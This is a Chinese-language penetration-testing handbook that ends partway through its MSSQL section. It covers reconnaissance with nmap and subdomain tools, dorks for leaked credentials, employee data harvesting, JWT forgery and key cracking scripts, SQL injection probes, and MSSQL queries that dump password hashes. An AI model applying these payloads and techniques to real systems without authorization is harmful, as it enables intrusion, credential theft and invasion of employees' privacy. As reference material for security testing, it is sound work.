# Readme

## 渗透测试手册 - Pentest Handbook <a href="#shen-tou-ce-shi-shou-ce-pentesthandbook" id="shen-tou-ce-shi-shou-ce-pentesthandbook"></a>

* repo:<https://github.com/xiaoy-sec/Pentest_Note>
* 公众号:关注安全技术
* Author:小y


# 收集信息


# IP和端口信息


# ASN

[https://mxtoolbox.com/asn.aspx](<	https://mxtoolbox.com/asn.aspx>)


# NMAP使用

**Ping选项**

```
-PE/-PI (ICMP Echo Request Ping)
-PN/-PD/-P0 (不Ping)
-PS (TCP SYN Ping)
-PU (UDP Ping)
-PY (SCTP Ping)
-PO (IP Protocol Ping)
-PP (ICMP Timestamp Ping)
-PM (ICMP Address Mask Ping)
-R (Require Reverse)
-n (Disable Reverse DNS)
--dns-servers (Specify DNS Servers)
```

**OS系统探测**

```
-O (系统指纹)
-A (更高级，更详细的识别操作系统)
--osscan-limit (限制系统扫描)
--osscan-guess, --fuzzy (更灵活的猜测)
```

**版本探测**

```
-sV (版本扫描)
--allports (不错过任何端口)
--version-intensity <Level> (版本扫描强度) 设置从 0 (简单) 到 9 (详细)
--version-light (简单扫描版本)
--version-all (扫描全部版本)
--version-trace (For Debugging) 显示NMAP细节
```

**扫描技术**

```
-sS (TCP SYN Scan) 半开扫描也是隐形扫描
-sT (TCP Connect() Scan) 
-sA (ACK Scan)
-sW (Window Scan)
-sU (UDP Scan)
-sN (Null Scan)
-sF (FIN Scan)
-sX (Xmas Tree Scan)
--scanflags <Flags> (Customize TCP Scan Flags)
-sP (Ping Scan)
-sO (IP Protocol Scan)
-sR (RPC Scan) Remote Procedure Call
-sP (Ping Scan)
-sn (Ping Scan) 不扫描端口
-sL (List Scan) 简单的列表扫描
-sI (Idle Scan) Zombie Scan
-b (FTP Bounce Attack)
-sY (SCTP Init Scan)
-sZ (Cookie-Echo Scans)
#### 机器和端口选项
--exclude (不包括某主机/网络) 
--excludefile (不包括目标文件)
-iR (随机目标)
--randomize_hosts/-rH (随机主机)
-iL (文件中读取目标) 
-Pn (视所有主机为在线状态) 
--system-dns (使用系统的 DNS解析)
--traceroute (追踪每个跃点)
-p <Port Range> (只扫描特殊端口)
-F (Fast Scan) 扫描比默认状态更少的端口，快速扫描
-r (连续扫描) 
--top-ports (扫描常见端口)
--port-ratio (扫描比常见端口更多的端口)
```

**防火墙/ids规避和欺骗**

```
-f/-ff (分段IP数据包)
--mtu <databytes>(最大传输单位)
--ttl <value> (存活时间)
-D <decoy1,decoy2[,ME],...> (创建诱饵掩盖目标)
-S <IP_Address> (欺骗源地址)
-e <iface> (使用指定接口)
-g/--source-port (扫描给定的端口)
--proxies <url1,[url2],...>(通过 HTTP/SOCKS4 代理中继连接)
--data-length <databytes> (Data Length) 将随机数据附加到发送的数据包
--spoof-mac <mac address/prefix/vendor name>  mac地址欺骗
--badsum (伪造数据包)  发送带有伪造 TCP/UDP/SCTP 校验和的数据包
--host-timeout <milliseconds> 主机超时时间
--initial-rtt-timeout <milliseconds> (初始化往返超时)
--min-rtt-timeout <milliseconds> (最小超时时间)
--max-rtt-timeout <milliseconds> (最大超时时间)
--max-hostgroup <number> (每次扫描的最大并行主机数)
--min-hostgroup <number> (每次扫描的最小并行主机数)
--max-parallelism <number> (最大并行端口扫描)
--min-parallelism <number> (最小并行端口扫描)
--scan-delay <milliseconds> (扫描之间的最小延迟)
--max-scan-delay <milliseconds> (探针之间的最大延迟)
--timing/-T<0|1|2|3|4|5> (扫描力度，简单 (T0)| 偷偷摸摸 (T1)| 礼貌 (T2)| 正常 (T3)| 使劲 (T4)| 疯狂 (T5))
--min-rate <number> (每秒发送数据包的速度不低于 <Number>)
--max-rate <number> (每秒发送数据包的速度不超过 <Number>)
```

**运行时交互和报告选项**

```
-v/--verbose/-vv (详细模式/增加详细度)
-d/--debug/-dd (调试模式/增加详细度)
--interactive (交互模式)
--noninteractive (非交互模式)
--reason (显示端口处于特定状态的原因)
--open (仅显示打开（或可能打开）的端口)
--packet-trace (数据包跟踪显示所有发送和接收的数据包)
-iflist (打印主机接口和路由（用于调试）)
--log-errors (将错误/警告记录到正常格式的输出文件)
--append-output (追加输出)
--resume <logfilename> (恢复中止的扫描)
--stylesheet <path/URL> (将 XML 输出转换为 HTML)
--webxml (参考来自 Nmap.Org 的样式表以获得更可移植的 XML)
--no-stylesheet (防止 XSL 样式表与/XML 输出的关联)
-oA (一次输出三种主要格式)
-oN <logfilename> (常规模式)
-oX <logfilename> (XML Format)
-oG <logfilename> (Grepable Format)
-oS <logfilename> (Script Kiddie Format)
```

**脚本和其他选项**

```
-sC/--script <Lua Script> (使用lua脚本)
--script-args <n1=v1,[n2=v2,...]> (脚本参数)
--script-args-file=filename (参数写入文件)
--script-trace (显示所有发送和接收的数据)
--script-updatedb (升级脚本库)
--script-help <Lua Script> (显示脚本帮助细节)
-h/--help (帮助查看)
-V/--version (Nmap 版本)
--datadir <directory_name> (Data目录)
-6 (IPv6 支持)
--privileged (完整权限)
```


# 工具

```
Masscan、scanport,Nmap等
$masscan -p<Port Here> <CIDR Range Here> --exclude <Exclude IP> --banners -oX <Out File Name>
针对常见的那些端口的利用的常规方法
常见的未授权访问的服务如redis，mongodb等
https://github.com/NetSPI/NetblockTool 
  python3 NetblockTool.py -v Google
Hurricane Electric BGP 工具包
https://securitytrails.com/app/sb
https://ipinfo.io/  全面的 IP 地址数据，IP地理定位 API
https://www.ipuu.net/#/home
https://site.ip138.com/
HOST碰撞：https://github.com/fofapro/Hosts_scan
  https://github.com/pmiaowu/HostCollision
```


# 历史IP

[https://x.threatbook.cn/ <br>](<	https://x.threatbook.cn/&#xD;&#xA;>)


# 域名信息


# CDN是否存在

```
Ping、多地ping、国外ping
https://github.com/wwl012345/CDNCheck
单个域名>python3 cndcheck.py -u domain
多个域名>python3 cndcheck.py -f url.txt
https://www.host-tracker.com/
https://www.webpagetest.org/
https://ping.chinaz.com/
https://dnscheck.pingdom.com/
https://github.com/cisagov/findcdn 
  >findcdn list asu.edu -t 7 --double 
```


# 绕过CDN

```
子域名
https://dnsdb.io/zh-cn/
Ping根域名
Nslookup
Cloudflare的真实IP寻找
  http://crimeflare.org:82/cfs.html
  https://github.com/gwen001/pentest-tools/blob/master/cloudflare-origin-ip.py
查找老域名
查找关联域名
  www.baidu.com
  www.baidu.cn
  www.baidu.org
  www.baidu.xyz等等
信息泄露/配置文件
Phpinfo
网页源码
Svn
Github
Shodan/fofa/zoomeye
SSL证书记录
https://censys.io/
网站漏洞
    Xss
    Ssrf
    命令执行
    SQL注入(某种情况loadfile读取linux的ip配置文件，hosts文件等)
DNS记录，证书记录
设置xff/x-remote-ip/x-remote-addr为127.0.0.1/或ipv6地址
RSS订阅/邮件头
APP反编译搜索/截取APP的请求信息
修改hosts文件指向
```


# DNS历史记录

```
https://dnsdumpster.com/
https://censys.io/
https://dnsdb.io/zh-cn
https://hackertarget.com/find-dns-host-records
https://securitytrails.com/
域传送漏洞检查
  Dnsenum、fierce，dnsrecon
http://ha.ckers.org/fierce/ 
$ ./fierce.pl -dns example.com 
$ ./fierce.pl –dns example.com –wordlist myWordList.txt
>dig @ns.example.com example=.com AXFR 
>nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器
>nslookup #进入nslookup交互模式
>server dns.domian.com #指定dns服务器
>ls xxx.yyy.cn #列出域信息
https://github.com/fwaeytens/dnsenum 
dns-brute-script - Nmap 将尝试通过暴力破解流行的子域名来枚举 DNS 主机名。 
```


# SSL证书信息

[	https://crt.sh/?q=%25.target.com\
&#x9;https://censys.io/certificates?q=target.com\
&#x9;https://developers.facebook.com/tools/ct\
&#x9;https://github.com/cheetz/sslScrape](<	https://crt.sh/?q=%25.target.com&#xD;&#xA;	https://censys.io/certificates?q=target.com&#xD;&#xA;	https://developers.facebook.com/tools/ct&#xD;&#xA;	https://github.com/cheetz/sslScrape>)


# Whois信息

```
站点注册人注册过的其他网站(对注册人、邮箱、电话的反查)，对查到的站点的深入
https://viewdns.info/reversewhois
$ amass intel -whois -d <Domain Name Here>
https://github.com/weppos/whois  
https://lookup.icann.org/en/lookup
Whois注册信息反查
站长之家 Whois：https://whois.chinaz.com/
中国万网 Whois：https://whois.aliyun.com/
国际 Whois：https://who.is/
```


# 子域名检查

```
● Virus Total
● Netcraft
● DNSdumpster
● Threat crowed
● Shodan
● Cencys
● DNSdb
● Pastebin
http://chaos.projectdiscovery.io/
老站、同样架构或同源码的子站
爆破，接口查询
  https://phpinfo.me/domain/
  https://d.chinacycc.com/index.php?m=Login&a=index
  subDomainBrute、knockpy
OWA发现、dig adfs、dig mail
https://linux.die.net/man/1/host 
https://dns.bufferover.run/dns?q=baidu.com
http://api.hackertarget.com/reversedns/?q=target.com
https://github.com/OJ/gobuster
  $ ./gobuster dns -d xxx.com -w subdomains.txt
https://github.com/infosec-au/altdns
  $ altdns -i found_subdomains.txt -o permutation_output -w words.txt -r -s resolved_output.txt
https://github.com/OWASP/Amass
  $ amass enum -passive -d <Domain Name Here>
https://github.com/guelfoweb/knock
  $ knockpy.py <Domain Name Here>
SecurityTrails API查询子域名
  去https://securitytrails.com/申请个免费的API
  curl -s --request GET --url https://api.securitytrails.com/v1/domain/target.com/subdomains?apikey=API_KEY | jq '.subdomains[]' | sed 's/\"//g' >test.txt 2>/dev/null && sed "s/$/.target.com/" test.txt | sed 's/ //g' && rm test.txt
![image](../../../img/715.png)
subfinder - Subfinder 是一个子域发现工具，可以为网站发现有效的子域。 
https://github.com/projectdiscovery/subfinder 
  >subfinder -d google.com -all -v 
assetfinder - 查找与给定域相关的域和子域。 
https://github.com/tomnomnom/assetfinder 
  >assetfinder --subs-only google.com
knockknock - 一个简单的反向 whois 查找工具，它返回个人或公司拥有的域列表。 
https://github.com/harleo/knockknock 
  >knockknock -n google.com -p 
findomain - 域识别的完整解决方案。支持截屏、端口扫描、HTTP 检查、从其他工具导入数据、子域监控、通过 Discord、Slack 和 Telegram 发出警报、用于源的多个 API 密钥等等。 
https://github.com/Findomain/Findomain 
  >findomain -t google.com 
hakrevdns - 用于执行大量反向 DNS 查找的小型快速工具。 
https://github.com/hakluke/hakrevdns 
  >prips 173.0.84.0/24 | hakrevdns -d 
googlecertfarm
https://github.com/rook1337/googlecertfarm 
  >python3 googlecertfarm.py -d google.com
https://github.com/shmilylty/OneForAll
  >python oneforall.py --target example.com run
  >python oneforall.py --targets ./example.txt run
```


# 网站架构和指纹识别

### 信息泄露

```
电话、邮箱，姓名
目录遍历
备份文件
  (www.zip,xx.com.zip,www.xx.com.zip,wwwroot.zip)
 .svn/.git/sql/robots/crossdomin.xml/DS_Store等
  https://github.com/lijiejie/ds_store_exp
  https://github.com/admintony/svnExploit
  https://github.com/mazen160/bfac
若是论坛ID=1的用户名一般为管理、或查看帖子信息、生成字典
网页上客服的QQ(先判断是企业的还是个人，用处有时不太大，看怎么用，搞个鱼叉什么的)
```

### 网站URL提取

```
http://www.bulkdachecker.com/url-extractor/
```

### 网站架构/服务器指纹/CMS识别/容器

```
网页源代码
请求头/响应头
网站底部，顶部，左上角右上角
网站报错信息
http://www.yunsee.cn/
域名/install
Firefox插件Wappalyzer
https://github.com/vincd/wappylyzer
$ python3 main.py analyze -u <URL HERE>
CMS漏洞
  定位版本对应已知漏洞检查
  CMS未知漏洞挖掘
  找不到demo就找源码开发者，加群什么的，结合社会工程学要个后台截图(对于一些后台目录复杂的cms)，注意看网站上一些功能介绍的截图。
Web容器已知漏洞(解析漏洞这种)
显示网站使用的技术
  https://builtwith.com/
中间件、组件
Weblogic、tomcat、zabbix、struts、axis等
https://github.com/FortyNorthSecurity/EyeWitness
其他工具whatweb,buildwith,Netcraft
防火墙
  https://github.com/EnableSecurity/wafw00f
  Wafw00f <URL HERE>
  https://github.com/0xInfection/Awesome-WAF#known-bypasses
```

### 同服站点情况

```
https://site.ip138.com/
火狐插件flagfox,配置单击指向bing查ip对应的域名
```

### 网站js/网站使用的第三方js

```
https://github.com/003random/getJS
https://github.com/Threezh1/JSFinder
或浏览器F12也可以看到加载的
敏感信息、可能存在漏洞的参数等信息
查看网页源代码，注释的一些信息，比如没有删掉的接口、前台没有的页面、越权、注入、js等
https://github.com/GerbenJavado/LinkFinder
$ python linkfinder.py -i <JavaScript File> -o cli
https://github.com/incogbyte/jsearch
$ python3.7 jsearch.py -u https://xxx.com -n xxx
```

### 目录扫描/爬虫(慎用)

```
https://github.com/ghostlulzhacks/crawler/tree/master
  $ python3 crawler.py -d <URL> -l <Levels Deep to Crawl>
https://web.archive.org 可过滤后缀如.zip,.config,/admin/,/api/
https://github.com/ghostlulzhacks/commoncrawl
  $ python cc.py -d <Domain>
https://github.com/OJ/gobuster
  $ ./gobuster dir -k -w <Wordlist> -u <URL>
cewl爬取网站关键字
  $ cewl http://www.vulnweb.com -m 5 -w word.txt 爬取网站词汇列表存在word.txt -m指定最小长度
-e -n 爬取网站中的邮箱
$ cewl http://www.vulnweb.com -c 统计词出现的次数
$ cewl http://vulnweb.com -d 3 爬取深度
$ cewl http://testphp.vulnweb.com/artists.php --with-numbers  爬取带数字的词汇
--lowercase 提取词汇变小写
代理
$ cewl http://192.168.1.141 --proxy_host 192.168.1.141 --proxy_port 3128
其他工具
ffuf:https://github.com/ffuf/ffuf
gobuster:https://github.com/OJ/gobuster
wfuzz:https://github.com/xmendez/wfuzz
dirbuster ./gobuster -u http://fuck.io/ -w words.txt -t 10
```

### WAF情况识别

```
https://github.com/EnableSecurity/wafw00f
做好绕过策略的计划
```

### 随手测试

```
单引号
xx.jpg/.php
admin/123456
万能密码
Heartbleed漏洞
```

### 搜索引擎

```
Google自定义搜索引擎整合的300多个社交网站
  https://cse.google.com/cse?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:iyxger-cwug&q=%22%22
Google自定义搜索引擎整合的文件共享网站
  https://cse.google.com/cse/publicurl?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:hn5bcrszfhe&q=%22%22
领英用户提取
  https://cse.google.com/cse?cx=001394533911082033616:tm5y1wqwmme
```

### Shodan/fofa/zoomeye

```
net:<"CIDR,CIDR,CIDR">
org:<"Organization Name">
ssl:<"ORGANIZATION NAME">
nmap使用shodan(https://github.com/glennzw/shodan-hq-nse)
>nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<x.com>'
```

### Google dorks

```
Site,filetype,intitle,inurl,intext,ext等
https://gbhackers.com/latest-google-dorks-list/
Codepad 是一个在线编译器/解释器。有时可以在此处找到硬编码凭据
  site:codepad.co "Company Name" 
Scribd 以其书籍和电子书而闻名，有时可以找到员工上传的包含密码的内部文件
  site:scribd.com "Company Name"
查找公司使用的 NodeJS 源代码
  site:npmjs.com "Company Name"
列出软件开发项目的 Web 服务依赖关系 
  site:libraries.io "Company Name" 
Coggle 用于创建思维导图。 您也许可以找到包含凭据的内部流程图
  site:coggle.it "Company Name"
papaly用于保存书签和链接。 您有时可以找到内部链接、文档和凭据。
  site:papaly.com "Company Name"
Trello 是一个基于网络的看板。 这通常用于查找组织的凭据和内部链接。
  site:trello.com "Company Name"
prezi用于进行演示，有时可能包含内部链接和凭据。
  site:prezi.com "Company Name"
NPM 和 GitHub 的 CDN
  site:jsdelivr.net "Company Name"
Codepen 是一个用于创建/测试前端代码的在线工具。 您有时可以在这里找到 API 密钥和其他凭据
  site:codepen.io "Company Name"
Pastebin 是一个人们上传文本文档的网站，通常用于共享。 通常可以在这里找到内部文件和凭证。 黑客还使用此站点共享数据库泄漏
  site:pastebin.com "Company Name"
Repl 是一个在线编译器。 有时可以在用户脚本中找到硬编码的凭据。
  site:repl.it "Company Name"
Gitter 是一个开源消息传递平台。 有时可以找到包含凭据、内部链接和其他信息的私人消息。
  site:gitter.im "Company Name"
像 GitHub 的 Bitbucket 是一个存储源代码的地方。 您通常可以在这里找到硬编码的凭据和其他信息。
  site:bitbucket.org "Company Name"
这个dork可以用来查找confluence、jira等可能包含敏感信息的产品
  site:*.atlassian.net "Company Name"
像 GitHub 这样的 Gitlab 用于存储源代码。 您经常可以在这里找到内部源代码和其他敏感信息
  Inurl:gitlab "Company Name"
```

### 截屏

```
https://github.com/FortyNorthSecurity/EyeWitness
  $ python3 EyeWitness.py -f subdomains.txt --web
```

### 蜜罐判断(参考一下即可)

```
https://honeyscore.shodan.io/
```


# 人员信息

#### 社交

```
QQ、weibo、支付宝、脉脉、领英、咸鱼、短视频、人人、贴吧、论坛
外网信息
有些人喜欢把自己的生活传到外网
推特、ins、fb等
```

#### 手机号加入通讯录匹配各个APP用户信息

#### 注册过的网站

```
https://www.reg007.com/
https://www.usersearch.org/
```

#### 目标人员的兴趣

```
目标人员的兴趣 注册过的小众论坛，站点
针对此类站点的深入
收集到的用户名，电话等信息生成字典
```

#### 邮箱搜集与验证

```
Chrome插件 查找网页暴露邮箱 https://hunter.io/chrome
https://souyouxiang.com/find-contact/ 邮箱域名搜索
https://github.com/killswitch-GUI/SimplyEmail
https://tools.verifyemailaddress.io/
https://github.com/maldevel/EmailHarvester 
  python3 EmailHarvester.py -d google.com -e all 
https://github.com/m4ll0k/infoga 
  python3 infoga.py --domain vmware.com --source all 
https://www.skymem.info/ 邮箱地址搜索
```

#### Exchange

```
https://github.com/dafthack/MailSniper
```

#### 历史泄露过的资料等

```
库
https://intelx.io/ 
https://weleakinfo.to/ 
https://haveibeenpwned.com/
https://github.com/kernelmachine/haveibeenpwned
https://www.dehashed.com/ 
  python3 dehashed.py -o -d domain.com -a API-KEY -u user@domain.com 
```

#### GPS查询

```
https://www.opengps.cn/Default.aspx
```

#### 默认密码

```
https://default-password.info/
http://routerpasswords.com
```

#### 如需注册

```
Sms
https://www.materialtools.com/
http://receivefreesms.com/
Email
https://10minutemail.net/
https://zh.mytrashmailer.com/
http://24mail.chacuo.net/enus
https://www.linshiyouxiang.net/
Fake id
https://www.fakenamegenerator.com/
http://www.haoweichi.com/
https://www.fakeaddressgenerator.com/
```

#### 企业信息

```
天眼查、企查查、企业信用信息公示系统
企业邮箱收集，企业架构画像、人员统计、人员职责、部门、WiFi、常用部门密码、人员是否泄露过密码、人员平时爱逛的站点、OA/erp/crm/sso/mail/vpn等入口、网络安全设备（waf,ips,ids,router等统计）、内部使用的代码托管平台(gitlab、daocloud等)，bug管理平台、服务器域名资产统计
员工姓名
从LinkedIn中提取所有员工
https://github.com/ChrisAD/linkedin-employee-scraper 
```


# 其他信息

#### 云信息

```
Aliyun、AWS、GCP、Azure等
查找可公开访问的实例
https://github.com/gwen001/s3-buckets-finder
https://github.com/nccgroup/aws-inventory
https://github.com/jordanpotti/AWSBucketDump
```

#### APP反编译

```
url、js、osskey、api等信息查找
搜集到接口Fuzz常见参数
```

#### C段/B段信息

```
Banner、是否存在目标的后台或其他入口/其他业务系统
```

#### 工具

```
recon-ng,theharvester,maltego,exiftool等
https://www.spiderfoot.net/
https://github.com/smicallef/spiderfoot
```

#### 网页缓存

```
http://www.cachedpages.com/
https://archive.org/web
```

#### 图片反查

```
百度识图、googleimage、tineye
原图查询坐标
```

#### Github/Gitee等代码托管平台

```
https://github.com/dxa4481/truffleHog
https://github.com/lijiejie/GitHack
https://github.com/MiSecurity/x-patrol
https://github.com/az0ne/Github_Nuggests
https://github.com/0xbug/Hawkeye
https://github.com/mazen160/GithubCloner 克隆用户的github
https://github.com/michenriksen/gitrob.git
```

#### 被入侵网址列表

```
http://zone-h.org/archive
wooyun镜像查找目标企业曾出现的漏洞
http://wooyun.2xss.cc/
```

#### Amass 深入的击面映射和资产发现

```
https://github.com/OWASP/Amass 
  >amass intel -org 'Sony Corporation of America'  #fetch ASN & CIDR IP Range of a Company
  >amass intel -active -asn 3725 -ip   #enumerate subdomains & IP Address from ASN
  >amass intel -active -asn 3725    #enumerate subdomains only from ASN 
  >amass intel -active -cidr 160.33.96.0/23   #enumerate subdomains from cidr rang
  >amass intel -asn 3725 -whois -d sony.com   #enumerate subdomains using asn & whois
  >amass enum -d sony.com -active -cidr 160.33.99.0/24,160.33.96.0/23 -asn 3725   #enumerate subdomains using cidr & asn
```

#### 威胁情报平台

```
Virustotal：https://www.virustotal.com/gui/home/upload
腾讯哈勃分析系统：https://habo.qq.com/tool/index
微步在线威胁情报：https://x.threatbook.cn/
奇安信威胁情报：https://ti.qianxin.com/
360威胁情报：https://ti.360.net/#/homepage
安恒威胁情报：https://ti.dbappsecurity.com.cn/
火线安全平台：https://www.huoxian.cn
Hacking8安全信息流：https://i.hacking8.com/
零零信安：https://0.zone
```


# 初始访问


# Web服务突破


# 前端

#### 一些存在问题的逻辑

```
部分来自：https://mp.weixin.qq.com/s/_0aQYV_4Tz9knQgzs7WSvw
任意用户注册
可爆破用户名
爆破用户名，密码
用户名注入
万能密码
用户名Xss
修改返回包信息，登入他人账户
修改cookie中的参数，如user,adminid等
HTML源码、JS等查看信息搜集一章
后台登录参数修改为注册参数/reg、/register、/sign等
登录失败返回包修改，例如“false”改为“true”，响应数值“0”改为“1”，登录后台。如果存在这些情况，一般前端Js、Html也可以直接找到后端对应的各类未授权访问接口
Js、Html存在用户名密码注释信息
根据系统查找系统对应的默认账号密码登录
有些系统的密码为空，密码不填或者抓包后置空发送
存在信息泄露手机号、邮箱、人名等可以到社工库查找对应的密码
社工字典密码生成https://github.com/zgjx6/SocialEngineeringDictionaryGenerator
页面无注册功能，通过Js或Html找到隐藏注册接口注册登录
注册时验证码没有做好绑定，删除验证码参数，或者验证码参数为空可以注册
验证码没有做好绑定，发送了验证码但是后端接收到任意验证码都可以注册、爆破、重置密码等

密码重置
	1．重置一个账户，不发送验证码，设置验证码为空发送请求。
	2．发送验证码，查看相应包
3．验证码生存期的爆破
	4．修改相应包为成功的相应包
	5．手工直接跳转到校验成功的界面
	6．两个账户，重置别人密码时，替换验证码为自己正确的验证码
	7．重置别人密码时，替换为自己的手机号
	8．重置自己的成功时，同意浏览器重置别人的，不发验证码
	9．替换用户名，ID，cookie，token参数等验证身份的参数
	10．通过越权修改他人的找回信息如手机/邮箱来重置 
```

#### JWT攻击手法

```
https://jwt.io/#debugger-io
http://jsonwebtoken.io
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
```

**未校验签名**

```
将原JWT串解码后修改用户名等身份认证的地方，生成新token发送请求
```

**禁用哈希**

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/1.png)<br>

```
Alg代表加密方式，修改用户名等身份认证的地方，把HS256设置为none生成token发送请求，使用python的pyjwt模块
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/2.png)<br>

jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')

**爆破弱密钥**

```
>pip3 install pyjwt
>python3 crack.py
```

```python
import jwt
import termcolor

jwt_str = R'token'
with open('/root/password.txt') as f:
  for line in f:
  key_ = line.strip()
  try:
    jwt.decode(jwt_str,verify=True,key=key_)
    print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
    break
  except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
    print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
  except jwt.exceptions.InvalidSignatureError:
    print('\r',' ' * 64, '\r\btry',key_,end='',flush=True)
    continue
else:
  print('\r','\bnot found.')
```

```python
import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'

encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key

# result
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
```

**jwt\_tool**

```
git clone https://github.com/ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
```

**c-jwt-cracker**

```
git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
```


# SQL注入


# 判断注入

**简单字符**

```
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
&apos;  # required for XML content
```

**编码**

```
%%2727
%25%27
```

**合并字符**

```
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
```

**逻辑测试**

```
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```


# 数据库类型识别

```
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```


# MSSQL

**注释符**

```
-- 注释
/* 注释 */
```

**用户**

```
SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;
```

**版本**

```
SELECT @@version
```

**主机名**

```
SELECT HOST_NAME()
SELECT @@hostname;
```

**数据库名**

```
SELECT DB_NAME()
```

**列数据库**

SELECT name FROM master..sysdatabases; SELECT DB\_NAME(N); — for N = 0, 1, 2, … SELECT STRING\_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)

**列表**

```
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
```

**列字段**

```
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns
```

**导出用户和密码**

```
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```

**联合查询**

```
列出数据库
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

列出表
